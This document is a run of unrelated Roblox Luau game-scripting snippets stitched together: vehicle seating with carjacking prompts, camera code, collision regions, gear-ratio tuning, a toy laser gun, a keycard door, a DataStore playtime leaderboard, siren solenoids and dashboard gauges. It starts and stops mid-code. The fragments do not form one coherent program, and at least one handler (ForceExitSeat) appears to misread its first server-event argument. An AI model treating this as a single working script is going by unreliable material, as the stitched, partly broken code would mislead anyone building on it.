CFrame.new(targetPos) else hrp.CFrame = CFrame.new(seat.Position) --The CFrame element orients the character up-right, the MoveTo stops the character from clipping into objects character:MoveTo(seat.Position+Vector3.new(0,8,0)) end else hrp.CFrame = CFrame.new(seat.Position) character:MoveTo(seat.Position+Vector3.new(0,8,0)) end if player then RemotesFolder.ExitSeat:FireClient(player, true) --Fire this to trigger the client-side anti-trip function end wait(DOOR_OPEN_TIME) SeatInteractionCount[seat] = SeatInteractionCount[seat] > 1 and SeatInteractionCount[seat] - 1 or nil if seat:FindFirstChild("DoorHinge") then --If nobody else has interactied in this time, close the door. if SeatInteractionCount[seat] == nil then seat.DoorHinge.TargetAngle = 0 -- Weld door shut when closed while math.abs(seat.DoorHinge.CurrentAngle) > 0.01 do wait() end seat.DoorLatchWeld.Enabled = true end end end end local function FlipSeat(Player, Seat) if Seat then if Seat.Parent then if not Seat.Parent.Parent:FindFirstChild("Scripts") then warn("Flip Error: Scripts file not found. Please parent seats to the chassis model") return end if not Seat.Parent.Parent.Scripts:FindFirstChild("Chassis") then warn("Flip Error: Chassis module not found.") return end local Chassis = require(Seat.Parent.Parent.Scripts.Chassis) Chassis.Redress() end end end function VehicleSeating.EjectCharacter(character) if character and character.HumanoidRootPart then for _, weld in pairs(character.HumanoidRootPart:GetJoints()) do if weld.Name == "SeatWeld" then ExitSeat(Players:GetPlayerFromCharacter(character), character, weld.Part0, weld) break end end end end function VehicleSeating.SetRemotesFolder(remotes) RemotesFolder = remotes --Detect exit seat requests RemotesFolder:FindFirstChild("ExitSeat").OnServerEvent:Connect(function(player) if player.Character then local character = player.Character VehicleSeating.EjectCharacter(character) end end) --Detect force exit seat requests RemotesFolder:FindFirstChild("ForceExitSeat").OnServerEvent:Connect(function(seatName) local chassis = PackagedVehicle:FindFirstChild("Chassis") if chassis then local seat = chassis:FindFirstChild(seatName) if seat and seat.Occupant then local occupantCharacter = seat.Occupant.Parent VehicleSeating.EjectCharacter(occupantCharacter) end end end) end function VehicleSeating.SetBindableEventsFolder(bindables) local BindableEventsFolder = bindables --Detect force exit seat requests BindableEventsFolder:FindFirstChild("ForceExitSeat").Event:Connect(function(seatName) local chassis = PackagedVehicle:FindFirstChild("Chassis") if chassis then local seat = chassis:FindFirstChild(seatName) if seat and seat.Occupant then local occupantCharacter = seat.Occupant.Parent VehicleSeating.EjectCharacter(occupantCharacter) end end end) end function VehicleSeating.AddSeat(seat, enterCallback, exitCallback) local promptLocation = seat:FindFirstChild("PromptLocation") if promptLocation then local proximityPrompt = promptLocation:FindFirstChildWhichIsA("ProximityPrompt") if proximityPrompt then local vehicleObj = getVehicleObject() local function setCarjackPrompt() if seat.Occupant and not carjackingEnabled(vehicleObj) then proximityPrompt.Enabled = false else proximityPrompt.Enabled = true end end seat:GetPropertyChangedSignal("Occupant"):connect(setCarjackPrompt) vehicleObj:GetAttributeChangedSignal("AllowCarjacking"):Connect(setCarjackPrompt) proximityPrompt.Triggered:connect(function(Player) if seat then if isFlipped(seat) then FlipSeat(Player, seat) elseif not seat:FindFirstChild("SeatWeld") or carjackingEnabled(vehicleObj) then if Player.Character ~= nil then local HRP = Player.Character:FindFirstChild("HumanoidRootPart") local humanoid = Player.Character:FindFirstChild("Humanoid") if HRP then local Dist = (HRP.Position - seat.Position).magnitude if Dist <= MAX_SEATING_DISTANCE then if seat.Occupant then local occupantCharacter = seat.Occupant.Parent for _, weld in pairs(occupantCharacter.HumanoidRootPart:GetJoints()) do if weld.Name == "SeatWeld" then ExitSeat(Players:GetPlayerFromCharacter(occupantCharacter), occupantCharacter, weld.Part0, weld) break end end end seat:Sit(humanoid) if seat:FindFirstChild("DoorHinge") then if seat.DoorHinge.ClassName ~= "HingeConstraint" then warn("Warning, door hinge is not actually a hinge!") end --Record that a player is trying to get in the seat SeatInteractionCount[seat] = SeatInteractionCount[seat] and SeatInteractionCount[seat] + 1 or 1 --Activate the hinge seat.DoorLatchWeld.Enabled = false seat.DoorHinge.TargetAngle = DOOR_OPEN_ANGLE seat.DoorHinge.AngularSpeed = DOOR_OPEN_SPEED playDoorSound(seat, "OpenClose") wait(DOOR_OPEN_TIME) --Check if anyone has interacted with the door within this time. If not, close it. SeatInteractionCount[seat] = SeatInteractionCount[seat] > 1 and SeatInteractionCount[seat] - 1 or nil if SeatInteractionCount[seat] == nil then seat.DoorHinge.TargetAngle = 0 -- Weld door shut when closed while math.abs(seat.DoorHinge.CurrentAngle) > 0.01 do wait() end seat.DoorLatchWeld.Enabled = true end end end end end end end end) end end local effectsFolder = getEffectsFolderFromSeat(seat) if effectsFolder then -- set open/close Sound local openclose = effectsFolder:FindFirstChild("OpenCloseDoor") if openclose then openclose:Clone().Parent = seat end end local currentOccupant = nil local occupantChangedConn = seat:GetPropertyChangedSignal("Occupant"):Connect(function() if seat.Occupant then if enterCallback then currentOccupant = seat.Occupant currentOccupant = Players:GetPlayerFromCharacter(currentOccupant.Parent) or currentOccupant enterCallback(currentOccupant, seat) end elseif exitCallback then exitCallback(currentOccupant, seat) currentOccupant = nil end end) --Clean up after the seat is destroyed seat.AncestryChanged:connect(function() if not seat:IsDescendantOf(game) then occupantChangedConn:Disconnect() end end) end return VehicleSeating
-- Replacements for RootCamera:RotateCamera() which did not actually rotate the camera -- suppliedLookVector is not normally passed in, it's used only by Watch camera
function BaseCamera:CalculateNewLookCFrame(suppliedLookVector) local currLookVector = suppliedLookVector or self:GetCameraLookVector() local currPitchAngle = math.asin(currLookVector.y) local yTheta = math.clamp(self.rotateInput.y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle) local constrainedRotateInput = Vector2.new(self.rotateInput.x, yTheta) local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.x, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.y,0,0) return newLookCFrame end function BaseCamera:CalculateNewLookVector(suppliedLookVector) local newLookCFrame = self:CalculateNewLookCFrame(suppliedLookVector) return newLookCFrame.lookVector end function BaseCamera:CalculateNewLookVectorVR() local subjectPosition = self:GetSubjectPosition() local vecToSubject = (subjectPosition - game.Workspace.CurrentCamera.CFrame.p) local currLookVector = (vecToSubject * X1_Y0_Z1).unit local vrRotateInput = Vector2.new(self.rotateInput.x, 0) local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local yawRotatedVector = (CFrame.Angles(0, -vrRotateInput.x, 0) * startCFrame * CFrame.Angles(-vrRotateInput.y,0,0)).lookVector return (yawRotatedVector * X1_Y0_Z1).unit end function BaseCamera:GetHumanoid() local character = player and player.Character if character then local resultHumanoid = self.humanoidCache[player] if resultHumanoid and resultHumanoid.Parent == character then return resultHumanoid else self.humanoidCache[player] = nil -- Bust Old Cache local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidCache[player] = humanoid end return humanoid end end return nil end function BaseCamera:GetHumanoidPartToFollow(humanoid, humanoidStateType) if humanoidStateType == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end function BaseCamera:UpdateGamepad() local gamepadPan = self.gamepadPanningCamera if gamepadPan and (self.hasGameLoaded or not VRService.VREnabled) then gamepadPan = Util.GamepadLinearToCurve(gamepadPan) local currentTime = tick() if gamepadPan.X ~= 0 or gamepadPan.Y ~= 0 then self.userPanningTheCamera = true elseif gamepadPan == ZERO_VECTOR2 then self.lastThumbstickRotate = nil if self.lastThumbstickPos == ZERO_VECTOR2 then self.currentSpeed = 0 end end local finalConstant = 0 if self.lastThumbstickRotate then if VRService.VREnabled then self.currentSpeed = self.vrMaxSpeed else local elapsedTime = (currentTime - self.lastThumbstickRotate) * 10 self.currentSpeed = self.currentSpeed + (self.maxSpeed * ((elapsedTime*elapsedTime)/self.numOfSeconds)) if self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end if self.lastVelocity then local velocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate) local velocityDeltaMag = (velocity - self.lastVelocity).magnitude if velocityDeltaMag > 12 then self.currentSpeed = self.currentSpeed * (20/velocityDeltaMag) if self.currentSpeed > self.maxSpeed then self.currentSpeed = self.maxSpeed end end end end finalConstant = UserGameSettings.GamepadCameraSensitivity * self.currentSpeed self.lastVelocity = (gamepadPan - self.lastThumbstickPos)/(currentTime - self.lastThumbstickRotate) end self.lastThumbstickPos = gamepadPan self.lastThumbstickRotate = currentTime return Vector2.new( gamepadPan.X * finalConstant, gamepadPan.Y * finalConstant * self.ySensitivity * UserGameSettings:GetCameraYInvertValue()) end return ZERO_VECTOR2 end
-- Public Constructors
function RotatedRegion3:CastPoint(point) local gjk = GJK.new(self.Set, {point}, self.Centroid, point, self.Support, Supports.PointCloud) return gjk:IsColliding() end function RotatedRegion3:CastPart(part) local r3 = RotatedRegion3.FromPart(part) local gjk = GJK.new(self.Set, r3.Set, self.Centroid, r3.Centroid, self.Support, r3.Support) return gjk:IsColliding() end function RotatedRegion3:FindPartsInRegion3(ignore, maxParts) local found = {} local parts = game.Workspace:FindPartsInRegion3(self.AlignedRegion3, ignore, maxParts) for i = 1, #parts do if (self:CastPart(parts[i])) then table.insert(found, parts[i]) end end return found end function RotatedRegion3:FindPartsInRegion3WithIgnoreList(ignore, maxParts) ignore = ignore or {} local found = {} local parts = game.Workspace:FindPartsInRegion3WithIgnoreList(self.AlignedRegion3, ignore, maxParts) for i = 1, #parts do if (self:CastPart(parts[i])) then table.insert(found, parts[i]) end end return found end function RotatedRegion3:FindPartsInRegion3WithWhiteList(whiteList, maxParts) whiteList = whiteList or {} local found = {} local parts = game.Workspace:FindPartsInRegion3WithWhiteList(self.AlignedRegion3, whiteList, maxParts) for i = 1, #parts do if (self:CastPart(parts[i])) then table.insert(found, parts[i]) end end return found end function RotatedRegion3:Cast(ignore, maxParts) ignore = type(ignore) == "table" and ignore or {ignore} return self:FindPartsInRegion3WithIgnoreList(ignore, maxParts) end
--[[Transmission]]
Tune.TransModes = {"Auto", "Semi", "Manual"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "RPM" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 4.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[=[ Converts the value back to the base value @return T ]=]
function LinearValue:ToBaseValue() return self._constructor(unpack(self._values)) end local function operation(func) return function(a, b) if LinearValue.isLinear(a) and LinearValue.isLinear(b) then assert(a._constructor == b._constructor, "a is not the same type of linearValue as b") local values = {} for i=1, #a._values do values[i] = func(a._values[i], b._values[i]) end return LinearValue.new(a._constructor, values) elseif LinearValue.isLinear(a) then if type(b) == "number" then local values = {} for i=1, #a._values do values[i] = func(a._values[i], b) end return LinearValue.new(a._constructor, values) else error("Bad type (b)") end elseif LinearValue.isLinear(b) then if type(a) == "number" then local values = {} for i=1, #b._values do values[i] = func(a, b._values[i]) end return LinearValue.new(b._constructor, values) else error("Bad type (a)") end else error("Neither value is a linearValue") end end end
--------------------- TEMPLATE WEAPON --------------------------- --edited by DestinyHarbinger -- Waits for the child of the specified parent
local function WaitForChild(parent, childName) while not parent:FindFirstChild(childName) do parent.ChildAdded:wait() end return parent[childName] end
-- Print that runs only if debug mode is active.
local function PrintDebug(message: string) if FastCast.DebugLogging == true then print(message) end end local function FindCharacterAncestor(subject) if subject and subject ~= workspace then local targethumanoid = subject:FindFirstChildWhichIsA("Humanoid") if targethumanoid then return targethumanoid else return FindCharacterAncestor(subject.Parent) end end return nil end
--LockController
Closed = true script.Parent.Touched:connect(function(P) if P ~= nil and P.Parent ~= nil and P.Parent:FindFirstChild("CardNumber") ~= nil and P.Parent.CardNumber.Value == 0 then if Closed == true then Closed = 1 script.Locked.Value = false script.Parent.Open.Value = true wait(1) Closed = false return end if Closed == false then Closed = 1 script.Locked.Value = true script.Parent.Open.Value = false wait(1) Closed = true return end end end)
--------LEFT DOOR --------
game.Workspace.doorleft.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value) game.Workspace.doorleft.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
--[[** ensures Roblox Enums type @param value The value to check against @returns True iff the condition is satisfied, false otherwise **--]]
t.Enums = t.typeof("Enums")
--local spark = Instance.new("Sparkles") --spark.Color = Color3.new(0,1,0)
function fire(v) local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local missile = script.Parent.Handle:Clone() --spark:Clone().Parent = missile local spawnPos = vCharacter.PrimaryPart.Position local PewPew = Tool.Handle:FindFirstChild("PewPew") if (PewPew == nil) then PewPew = Instance.new("Sound") PewPew.Name = "PewPew" PewPew.SoundId = "http://www.roblox.com/asset/?id=11944350" PewPew.Parent = Tool.Handle PewPew.Volume = 1 end spawnPos = spawnPos + (v * 3) missile.Position = spawnPos missile.Size = Vector3.new(1,1,1) missile.Velocity = v * 60 missile.BrickColor = BrickColor.new(1020) missile.Shape = 0 missile.BottomSurface = 0 missile.TopSurface = 0 missile.Name = "Spark" missile.Reflectance = .5 local force = Instance.new("BodyForce") force.force = Vector3.new(0,98,0) force.Parent = missile local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vPlayer creator_tag.Name = "creator" creator_tag.Parent = missile local new_script = script.Parent.LaserBlast:clone() new_script.Disabled = false new_script.Parent = missile missile.Parent = game.Workspace PewPew:Play() end function gunUp() --Tool.GripForward = Vector3.new(0,.981,-.196) --Tool.GripRight = Vector3.new(1,0,0) --Tool.GripUp = Vector3.new(0,.196,.981) end function gunOut() --Tool.GripForward = Vector3.new(0,1,0) --Tool.GripRight = Vector3.new(1,0,0) --Tool.GripUp = Vector3.new(0,0,1) end function isTurbo(character) return character:FindFirstChild("BoltHelm") ~= nil end function onActivated() if not enabled then return end enabled = false local character = Tool.Parent; local humanoid = character.Immortal if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit local reload = .1 --if (isTurbo(character)) then -- reload = .25 -- print("turbo") --end gunUp() fire(lookAt) wait(reload) gunOut() wait(reload) enabled = true end function onEquipped() Tool.Handle.EquipSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped)
--[=[ Executes the task as requested. @param job MaidTask -- Task to execute ]=]
function MaidTaskUtils.doTask(job) if type(job) == "function" then job() elseif typeof(job) == "RBXScriptConnection" then job:Disconnect() elseif type(job) == "table" and type(job.Destroy) == "function" then job:Destroy() -- selene: allow(if_same_then_else) elseif typeof(job) == "Instance" then job:Destroy() else error("Bad job") end end
----------------//
UI.Name = Name UI.Parent = plr.PlayerGui:WaitForChild("UI").Main.Keys.Holder UI.Info.Text = Text UI.Key.Text = Key if Order then UI.LayoutOrder = Order end UI.Visible = true
--[=[ Returns whether `value` is within `table` @param _table table -- To search in for value @param value any -- Value to search for @return boolean -- `true` if within, `false` otherwise ]=]
function Table.contains(_table, value) for _, item in pairs(_table) do if item == value then return true end end return false end
--[[ TimePlayedClass, RenanMSV @2023 A script designed to update a leaderboard with the top 10 players who most play your game. Do not change this script. All configurations can be found in the Settings script. ]]
local DataStoreService = game:GetService("DataStoreService") local Config = require(script.Parent.Settings) local TimePlayedClass = {} TimePlayedClass.__index = TimePlayedClass function TimePlayedClass.new() local new = {} setmetatable(new, TimePlayedClass) new._dataStoreName = Config.DATA_STORE new._dataStoreStatName = Config.NAME_OF_STAT new._scoreUpdateDelay = Config.SCORE_UPDATE * 60 new._boardUpdateDelay = Config.LEADERBOARD_UPDATE * 60 new._useLeaderstats = Config.USE_LEADERSTATS new._nameLeaderstats = Config.NAME_LEADERSTATS new._doDebug = Config.DO_DEBUG new._datastore = nil new._scoreBlock = script.Parent.Model.ScoreBlock new:_init() return new end function TimePlayedClass:_timeToString(_time) _time = _time * 60 local days = math.floor(_time / 86400) local hours = math.floor(math.fmod(_time, 86400) / 3600) local minutes = math.floor(math.fmod(_time, 3600) / 60) return string.format("%02dd : %02dh : %02dm",days,hours,minutes) end function TimePlayedClass:_init() local suc, err = pcall(function () self._datastore = game:GetService("DataStoreService"):GetOrderedDataStore(self._dataStoreName) end) if not suc or self._datastore == nil then warn("Failed to load OrderedDataStore. Error:", err) script.Parent:Destroy() end -- puts leaderstat value in player if self._useLeaderstats then game:GetService("Players").PlayerAdded:Connect(function (player) task.spawn(function () local stat = Instance.new("NumberValue") stat.Name = self._nameLeaderstats stat.Parent = player:WaitForChild("leaderstats") end) end) end -- increments players time in the datastore task.spawn(function () while true do task.wait(self._scoreUpdateDelay) self:_updateScore() end end) -- update leaderboard task.spawn(function () self:_updateBoard() -- update once while true do task.wait(self._boardUpdateDelay) self:_updateBoard() end end) end function TimePlayedClass:_clearBoard () for _, folder in pairs({self._scoreBlock.SurfaceGui.Names, self._scoreBlock.SurfaceGui.Photos, self._scoreBlock.SurfaceGui.Score}) do for _, item in pairs(folder:GetChildren()) do item.Visible = false end end end function TimePlayedClass:_updateBoard () if self._doDebug then print("Updating board") end local results = nil local suc, results = pcall(function () return self._datastore:GetSortedAsync(false, 10, 1):GetCurrentPage() end) if not suc or not results then if self._doDebug then warn("Failed to retrieve top 10 with most time. Error:", results) end return end local sufgui = self._scoreBlock.SurfaceGui self._scoreBlock.Credits.Enabled = true self._scoreBlock.SurfaceGui.Enabled = #results ~= 0 self._scoreBlock.NoDataFound.Enabled = #results == 0 self:_clearBoard() for k, v in pairs(results) do local userid = tonumber(string.split(v.key, self._dataStoreStatName)[2]) local name = game:GetService("Players"):GetNameFromUserIdAsync(userid) local score = self:_timeToString(v.value) self:_onPlayerScoreUpdate(userid, v.value) sufgui.Names["Name"..k].Visible = true sufgui.Score["Score"..k].Visible = true sufgui.Photos["Photo"..k].Visible = true sufgui.Names["Name"..k].Text = name sufgui.Score["Score"..k].Text = score sufgui.Photos["Photo"..k].Image = game:GetService("Players"):GetUserThumbnailAsync(userid, Enum.ThumbnailType.HeadShot, Enum.ThumbnailSize.Size150x150) end if self._scoreBlock:FindFirstChild("_backside") then self._scoreBlock["_backside"]:Destroy() end local temp = self._scoreBlock.SurfaceGui:Clone() temp.Parent = self._scoreBlock temp.Name = "_backside" temp.Face = Enum.NormalId.Back if self._doDebug then print("Board updated sucessfully") end end function TimePlayedClass:_updateScore () local suc, err = coroutine.resume(coroutine.create(function () local players = game:GetService("Players"):GetPlayers() for _, player in pairs(players) do local stat = self._dataStoreStatName .. player.UserId local newval = self._datastore:IncrementAsync(stat, self._scoreUpdateDelay / 60) if self._doDebug then print("Incremented time played stat of", player, stat, "to", newval) end end end)) if not suc then warn(err) end end function TimePlayedClass:_onPlayerScoreUpdate (userid, minutes) -- updates leaderstats if enabled if not self._useLeaderstats then return end local player = game:GetService("Players"):GetPlayerByUserId(userid) if not player or not player:FindFirstChild("leaderstats") then return end local leaderstat = player.leaderstats[self._nameLeaderstats] leaderstat.Value = tonumber(minutes) end TimePlayedClass.new()
--[[ function moveupL1() local amount = A local current = 0 MoverL1.TargetPosition = 0.076 repeat current = current + amount/B script.Parent.LowToneSolenoid.MovingParts.Spring.Size = script.Parent.LowToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,(amount/B)*C) local lv = script.Parent.LowToneSolenoid.MovingParts.Spring.CFrame.LookVector script.Parent.LowToneSolenoid.MovingParts:TranslateBy(lv*-amount/B) game:GetService("RunService").Heartbeat:wait() until current >= A end function movebackL1() local amount = A local current = 0 MoverL1.TargetPosition = 0 repeat current = current + amount/B script.Parent.LowToneSolenoid.MovingParts.Spring.Size = script.Parent.LowToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,-(amount/B)*C) local lv = script.Parent.LowToneSolenoid.MovingParts.Spring.CFrame.LookVector script.Parent.LowToneSolenoid.MovingParts:TranslateBy(lv*amount/B) game:GetService("RunService").Heartbeat:wait() until current >= A end function moveupL2() local amount = A local current = 0 MoverL2.TargetPosition = 0.076 repeat current = current + amount/B script.Parent.HighToneSolenoid.MovingParts.Spring.Size = script.Parent.HighToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,(amount/B)*C) local lv = script.Parent.HighToneSolenoid.MovingParts.Spring.CFrame.LookVector script.Parent.HighToneSolenoid.MovingParts:TranslateBy(lv*-amount/B) game:GetService("RunService").Heartbeat:wait() until current >= A end function movebackL2() local amount = A local current = 0 MoverL2.TargetPosition = 0 repeat current = current + amount/B script.Parent.HighToneSolenoid.MovingParts.Spring.Size = script.Parent.HighToneSolenoid.MovingParts.Spring.Size + Vector3.new(0,0,-(amount/B)*C) local lv = script.Parent.HighToneSolenoid.MovingParts.Spring.CFrame.LookVector script.Parent.HighToneSolenoid.MovingParts:TranslateBy(lv*amount/B) game:GetService("RunService").Heartbeat:wait() until current >= A end ]]
script.Parent.L1:GetPropertyChangedSignal("Value"):Connect(function() if script.Parent.L1.Value == true then --moveupL1() script.Parent.LowToneSolenoid.ShutterPartClosed.Shutter.Transparency = 0 script.Parent.LowToneSolenoid.ShutterPartClosed.SolenoidPart.Transparency = 0 script.Parent.LowToneSolenoid.ShutterPartClosed.Spring.Transparency = 0 script.Parent.LowToneSolenoid.ShutterPartOpened.Shutter.Transparency = 1 script.Parent.LowToneSolenoid.ShutterPartOpened.SolenoidPart.Transparency = 1 script.Parent.LowToneSolenoid.ShutterPartOpened.Spring.Transparency = 1 SolenoidSound2.Volume = 0.07 SolenoidSound2:Play() else --movebackL1() script.Parent.LowToneSolenoid.ShutterPartClosed.Shutter.Transparency = 1 script.Parent.LowToneSolenoid.ShutterPartClosed.SolenoidPart.Transparency = 1 script.Parent.LowToneSolenoid.ShutterPartClosed.Spring.Transparency = 1 script.Parent.LowToneSolenoid.ShutterPartOpened.Shutter.Transparency = 0 script.Parent.LowToneSolenoid.ShutterPartOpened.SolenoidPart.Transparency = 0 script.Parent.LowToneSolenoid.ShutterPartOpened.Spring.Transparency = 0 SolenoidSound2.Volume = 0.03 SolenoidSound2:Play() end end) function ActivateSolenoids() if Flasher.On.Value == true and Flasher.Power.Value == true then if Flasher.Outputs.SIG1.Value == true then script.Parent.L1.Value = true script.Parent.L2.Value = false else script.Parent.L1.Value = false script.Parent.L2.Value = true end else script.Parent.L1.Value = false script.Parent.L2.Value = false end end Flasher.Outputs.SIG1.Changed:Connect(function() ActivateSolenoids() end) Flasher.On.Changed:Connect(function() script.Parent.ModulationActive.Value = Flasher.On.Value ActivateSolenoids() end) Flasher.Outputs.SIG1.Test.Changed:Connect(function() repeat wait() script.Parent.L1.Value = true until Flasher.Power.Value == false or Flasher.Outputs.SIG1.Test.Value == false script.Parent.L1.Value = false end) Flasher.Outputs.SIG2.Test.Changed:Connect(function() repeat wait() script.Parent.L2.Value = true until Flasher.Power.Value == false or Flasher.Outputs.SIG2.Test.Value == false script.Parent.L2.Value = false end)
--Automatic Gauge Scaling
if autoscaling then local Drive={} if _Tune.Config == "FWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("FL")~= nil then table.insert(Drive,car.Wheels.FL) end if car.Wheels:FindFirstChild("FR")~= nil then table.insert(Drive,car.Wheels.FR) end if car.Wheels:FindFirstChild("F")~= nil then table.insert(Drive,car.Wheels.F) end end if _Tune.Config == "RWD" or _Tune.Config == "AWD" then if car.Wheels:FindFirstChild("RL")~= nil then table.insert(Drive,car.Wheels.RL) end if car.Wheels:FindFirstChild("RR")~= nil then table.insert(Drive,car.Wheels.RR) end if car.Wheels:FindFirstChild("R")~= nil then table.insert(Drive,car.Wheels.R) end end local wDia = 0 for i,v in pairs(Drive) do if v.Size.x>wDia then wDia = v.Size.x end end Drive = nil for i,v in pairs(UNITS) do v.maxSpeed = math.ceil(v.scaling*wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive) v.spInc = math.max(math.ceil(v.maxSpeed/200)*20,20) end end for i=0,revEnd*2 do local ln = script.Parent.ln:clone() ln.Parent = script.Parent.Tach ln.Rotation = 45 + i * 225 / (revEnd*2) ln.Num.Text = i/2 ln.Num.Rotation = -ln.Rotation if i*500>=math.floor(_pRPM/500)*500 then ln.Frame.BackgroundColor3 = Color3.new(1,0,0) if i<revEnd*2 then ln2 = ln:clone() ln2.Parent = script.Parent.Tach ln2.Rotation = 45 + (i+.5) * 225 / (revEnd*2) ln2.Num:Destroy() ln2.Visible=true end end if i%2==0 then ln.Frame.Size = UDim2.new(0,3,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) ln.Num.Visible = true else ln.Num:Destroy() end ln.Visible=true end local lns = Instance.new("Frame",script.Parent.Speedo) lns.Name = "lns" lns.BackgroundTransparency = 1 lns.BorderSizePixel = 0 lns.Size = UDim2.new(0,0,0,0) for i=1,90 do local ln = script.Parent.ln:clone() ln.Parent = lns ln.Rotation = 45 + 225*(i/90) if i%2==0 then ln.Frame.Size = UDim2.new(0,2,0,10) ln.Frame.Position = UDim2.new(0,-1,0,100) else ln.Frame.Size = UDim2.new(0,3,0,5) end ln.Num:Destroy() ln.Visible=true end for i,v in pairs(UNITS) do local lnn = Instance.new("Frame",script.Parent.Speedo) lnn.BackgroundTransparency = 1 lnn.BorderSizePixel = 0 lnn.Size = UDim2.new(0,0,0,0) lnn.Name = v.units if i~= 1 then lnn.Visible=false end for i=0,v.maxSpeed,v.spInc do local ln = script.Parent.ln:clone() ln.Parent = lnn ln.Rotation = 45 + 225*(i/v.maxSpeed) ln.Num.Text = i ln.Num.TextSize = 14 ln.Num.Rotation = -ln.Rotation ln.Frame:Destroy() ln.Num.Visible=true ln.Visible=true end end if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end script.Parent.Parent.IsOn.Changed:connect(function() if script.Parent.Parent.IsOn.Value then script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true) end end) script.Parent.Parent.Values.RPM.Changed:connect(function() script.Parent.Tach.Needle.Rotation = 45 + 225 * math.min(1,script.Parent.Parent.Values.RPM.Value / (revEnd*1000)) intach.Rotation = -90 + script.Parent.Parent.Values.RPM.Value * 270 / 8000 end) script.Parent.Parent.Values.Gear.Changed:connect(function() local gearText = script.Parent.Parent.Values.Gear.Value if gearText == 0 then gearText = "N" car.Body.Dash.D.G.Info.Gear.Text = "N" elseif gearText == -1 then gearText = "R" car.Body.Dash.D.G.Info.Gear.Text = "R" end script.Parent.Gear.Text = gearText car.Body.Dash.D.G.Info.Gear.Text = gearText end) script.Parent.Parent.Values.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCS.Value then script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.TCSActive.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = true script.Parent.TCS.TextColor3 = Color3.new(1,0,0) script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0) end else script.Parent.TCS.Visible = false end end) script.Parent.Parent.Values.TCSActive.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true else wait() script.Parent.TCS.Visible = false end else script.Parent.TCS.Visible = false end end) script.Parent.TCS.Changed:connect(function() if _Tune.TCSEnabled then if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = not script.Parent.TCS.Visible elseif not script.Parent.Parent.Values.TCS.Value then wait() script.Parent.TCS.Visible = true end else if script.Parent.TCS.Visible then script.Parent.TCS.Visible = false end end end) script.Parent.Parent.Values.ABS.Changed:connect(function() if _Tune.ABSEnabled then if script.Parent.Parent.Values.ABS.Value then script.Parent.ABS.TextColor3 = Color3.new(1,170/255,0) script.Parent.ABS.TextStrokeColor3 = Color3.new(1,170/255,0) if script.Parent.Parent.Values.ABSActive.Value then wait() script.Parent.ABS.Visible = not script.Parent.ABS.Visible else 